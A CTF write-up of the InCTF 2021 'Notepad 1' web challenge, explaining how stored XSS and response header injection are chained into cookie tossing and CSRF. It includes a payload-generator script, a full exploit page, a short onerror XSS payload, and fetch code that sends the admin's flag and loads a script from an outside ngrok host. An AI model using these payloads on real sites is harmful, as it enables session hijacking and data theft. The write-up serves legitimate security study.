👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Challenge
  • Solution
  • Stored XSS
  • Response Header Injection
  • Crafting Our Payload
  • Pwned

Was this helpful?

  1. 2021
  2. InCTF 2021

Notepad 1 - Snakehole's Secret

Stored XSS and Response Header Injection Leads to CSRF

PreviousInCTF 2021NextRaaS

Last updated 3 years ago

Was this helpful?

Challenge

Description: Janet Snakehole, the rich aristocratic widow with a terrible secret, is being investigated by the FBI's number 1, Burt Tyrannosaurus Macklin. Burt found a website that she visits often. See if you can find anything.

Author:

Solution

Stored XSS

At first glance, it is very clear that the site was vulnerable to XSS. For instance, adding the note <h1>Test</h1> results in the heading tags being injected:

When the page is first loaded, the init() function is called, and the displayed note's innerHTML is changed to the /get response.

Notes are added through a POST request to /add.

async function addNote() {
    x=document.getElementById("note-dev").value.trim()
    const response = await fetch("/add", {
        method: 'POST', 
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
        },
        body: `content=${x}`
    });
    z = await (response.text());
    changeNote(x)
}

function changeNote(play){
    let ele = document.getElementById('my-stuff');
    ele.innerHTML = play+"<br />";
    document.getElementById("note-dev").value = ""
}

async function init(){
    const response = await fetch("/get", {
        method: 'GET', 
    });
    z = await (response.text());
    changeNote(z)
}

The /get endpoint retrieves notes from the Notes map, based on the user's ID cookie.

func get(w http.ResponseWriter, r *http.Request) {
	id := getIDFromCooke(r, w)
	x := Notes[id]
	headerSetter(w, cType)
	if x == "" {
		fmt.Fprintf(w, "404 No Note Found")
	} else {
		fmt.Fprintf(w, x)
	}
}

The /add endpoint stores the user's notes, but only if the notes' content is less than 75 characters. In order to create a valid stored XSS payload, we must use a relatively short one.

func add(w http.ResponseWriter, r *http.Request) {

	id := getIDFromCooke(r, w)
	if id != adminID {
		r.ParseForm()
		noteConte := r.Form.Get("content")
		if len(noteConte) < 75 {
			Notes[id] = noteConte
		}
	}
	fmt.Fprintf(w, "OK")
}

Note that for all the API endpoints, the following cookies are set to prevent XSS.

// Prevent XSS on api-endpoints ¬‿¬
var cType = map[string]string{
	"Content-Type":            "text/plain",
	"x-content-type-options":  "nosniff",
	"X-Frame-Options":         "DENY",
	"Content-Security-Policy": "default-src 'none';",
}

Since the notes are fetched based on the user's cookies, we still do not have a way to perform an XSS attack on the admin (we would only be able to do it to ourselves!).

Response Header Injection

There is one other API endpoint, though, that we haven't explored. The /find endpoint takes the condition, startsWith , endsWith and debug parameters. The first three are pretty simple - they help to check if the note starts with or ends with a certain substring.

The debug parameter, on the other hand, is quite interesting. If it is set, the 4 parameters above are deleted, and the remaining parameters are looped through. If the key matches the ^[a-zA-Z0-9{}_;-]*$ regex, and the value is less than 50 characters, then the key-value pair is set as a response header.

func find(w http.ResponseWriter, r *http.Request) {

	id := getIDFromCooke(r, w)

	param := r.URL.Query()
	x := Notes[id]

	var which string
	str, err := param["condition"]
	if !err {
		which = "any"
	} else {
		which = str[0]
	}

	var start bool
	str, err = param["startsWith"]
	if !err {
		start = strings.HasPrefix(x, "snake")
	} else {
		start = strings.HasPrefix(x, str[0])
	}
	var responseee string
	var end bool
	str, err = param["endsWith"]
	if !err {
		end = strings.HasSuffix(x, "hole")
	} else {
		end = strings.HasSuffix(x, str[0])
	}

	if which == "starts" && start {
		responseee = x
	} else if which == "ends" && end {
		responseee = x
	} else if which == "both" && (start && end) {
		responseee = x
	} else if which == "any" && (start || end) {
		responseee = x
	} else {
		_, present := param["debug"]
		if present {
			delete(param, "debug")
			delete(param, "startsWith")
			delete(param, "endsWith")
			delete(param, "condition")

			for k, v := range param {
				for _, d := range v {

					if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
						w.Header().Set(k, d)
					}
					break
				}
				break
			}
		}
		responseee = "404 No Note Found"
	}
	headerSetter(w, cType)
	fmt.Fprintf(w, responseee)
}

Remember how we couldn't get the admin to visit our note previously? Well, now we can! All we have to do is to inject a Set-Cookie header, setting the admin's ID cookie to our own.

But we still need the original admin's ID (otherwise, how do we get the admin's note?). We can get around that quite easily, though - by simply setting the Path of our custom cookie to /get, we can make sure that when the admin visits our main site, our custom id cookie is used (since the longest match "wins"). However, since the admin's original id cookie still exists with the Path set to /, the /find endpoint will still use the original admin ID.

Crafting Our Payload

On hindsight, this was way more complex than necessary. The intended solution simply used eval(window.name), since window.name can be set by the attacker when using window.open(). I'll share mine anyway, because it was quite interesting (to me at least).

Since we’re in innerHTML, the ideal way is to append a new script element and fetch our external script:

var newScript = document.createElement("script");newScript.src = "http://www.example.com/my-script.js";this.appendChild(newScript);

But there’s a 75 character limit in order for the XSS payload to be stored.

I ended up using cookies, since document.cookies will return a string like:

cookieA=valueA; cookieB=valueB; ...

This format is very convenient to create JS code which we can eval(). Let the cookie name be var x, and the cookie value be eval(alert()), and we can run valid JavaScript code using eval(document.cookie):

var x = eval(alert())

Since the header values also have a length limit of 50 characters, we need to set multiple cookies. Essentially, the document.cookies will return the following string (newlines inserted for clarity):

var A = "SOME_STRING";
var B = A + "SOME_STRING";

...

var a = Z + "SOME_STRING";
var b = eval(a)

Here's the script to convert the payload to the necessary URLs to set the cookies:

import urllib.parse
import string

PAYLOAD = "var newScript = document.createElement('script');newScript.src = 'http://2e2e80a5f153.ngrok.io/exploit.js';this.appendChild(newScript);"

charcodes = []
for char in PAYLOAD:
	charcodes.append(ord(char))
	
print(charcodes)

f = open("exploit.html", "w")

chars = string.ascii_uppercase + string.ascii_lowercase
i = 0

f.write("<script>\n")
while charcodes:
	codes = [str(x) for x in charcodes[:5]]
	charcodes = charcodes[5:]
	
	if i == 0:
		url = urllib.parse.quote(f"var {chars[i]}=String.fromCharCode({','.join(codes)});")
		
	else:
		url = urllib.parse.quote(f"var {chars[i]}={chars[i-1]}+String.fromCharCode({','.join(codes)});")
	i += 1
	
	url = "http://chall.notepad1.gq:1111/find?debug&Set-Cookie=" + url

	f.write(f"window.open(\"{url}\");\n")

url = urllib.parse.quote(f"var {chars[i]}=eval({chars[i-1]});")
url = "http://chall.notepad1.gq:1111/find?debug&Set-Cookie=" + url
f.write(f"window.open(\"{url}\");\n")

f.write("</script>")

With some modification of the output, the final exploit script is:

<script>

function wait(time) {
    return new Promise(resolve => {
        setTimeout(() => {
            resolve();
        }, time);
    });
}

(async () => {
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20A%3DString.fromCharCode%28118%2C97%2C114%2C32%2C110%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20B%3DA%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20C%3DB%2BString.fromCharCode%28105%2C112%2C116%2C32%2C61%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20D%3DC%2BString.fromCharCode%2832%2C100%2C111%2C99%2C117%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20E%3DD%2BString.fromCharCode%28109%2C101%2C110%2C116%2C46%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20F%3DE%2BString.fromCharCode%2899%2C114%2C101%2C97%2C116%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20G%3DF%2BString.fromCharCode%28101%2C69%2C108%2C101%2C109%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20H%3DG%2BString.fromCharCode%28101%2C110%2C116%2C40%2C39%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20I%3DH%2BString.fromCharCode%28115%2C99%2C114%2C105%2C112%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20J%3DI%2BString.fromCharCode%28116%2C39%2C41%2C59%2C110%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20K%3DJ%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20L%3DK%2BString.fromCharCode%28105%2C112%2C116%2C46%2C115%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20M%3DL%2BString.fromCharCode%28114%2C99%2C32%2C61%2C32%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20N%3DM%2BString.fromCharCode%2839%2C104%2C116%2C116%2C112%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20O%3DN%2BString.fromCharCode%2858%2C47%2C47%2C50%2C101%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20P%3DO%2BString.fromCharCode%2850%2C101%2C56%2C48%2C97%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Q%3DP%2BString.fromCharCode%2853%2C102%2C49%2C53%2C51%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20R%3DQ%2BString.fromCharCode%2846%2C110%2C103%2C114%2C111%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20S%3DR%2BString.fromCharCode%28107%2C46%2C105%2C111%2C47%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20T%3DS%2BString.fromCharCode%28101%2C120%2C112%2C108%2C111%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20U%3DT%2BString.fromCharCode%28105%2C116%2C46%2C106%2C115%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20V%3DU%2BString.fromCharCode%2839%2C59%2C116%2C104%2C105%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20W%3DV%2BString.fromCharCode%28115%2C46%2C97%2C112%2C112%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20X%3DW%2BString.fromCharCode%28101%2C110%2C100%2C67%2C104%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Y%3DX%2BString.fromCharCode%28105%2C108%2C100%2C40%2C110%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Z%3DY%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20a%3DZ%2BString.fromCharCode%28105%2C112%2C116%2C41%2C59%29%3B");
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20b%3Deval%28a%29%3B");
	
	await wait(1000);
	window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=id=5e732a1878be2342dbfeff5fe3ca5aa3%3B+Path=/get");
	
	var img = new Image();
	img.src = 'http://2e2e80a5f153.ngrok.io/?data=' + 'Set cookies successfully.';
	
	await wait(1000);
	window.location.href = "http://chall.notepad1.gq:1111/";
})();
</script>

Visiting these URLs set the following cookies. Notice that we have set the id cookie with the /get path, and that the original id with the / path is preserved.

After document.cookie.split('; ').sort(), the previously inserted cookies will be in the correct order, starting from var A, and each subsequent variable builds on top of the previous variable.

var a will end up being the full payload:

This is finally eval-ed again (inside the eval) by var b.

The XSS payload is then:

<img/src/onerror="eval(document.cookie.split('; ').sort().join(';'))">

This takes up 70 characters, satisfying the length requirement in order to be stored.

Now, we can store this XSS payload! When the admin visits the site, our payload is fetched:

The only thing left now is to perform a CSRF to the /find endpoint to get the flag, and make a callback to our exploit server with the data.

fetch('find?startsWith=in')
	.then(function(response) {return response.text();})
	.then(function (text) {
	var img = new Image();
	img.src = 'http://2e2e80a5f153.ngrok.io/?data=' + encodeURIComponent(text);
})

Pwned

This took way too long, because I didn't think of the simple window.name payload!

Regardless, I was excited to finally the flag, after way more pain than necessary.

inctf{youll_never_take_me_alive_ialmvwoawpwe}

Az3z3l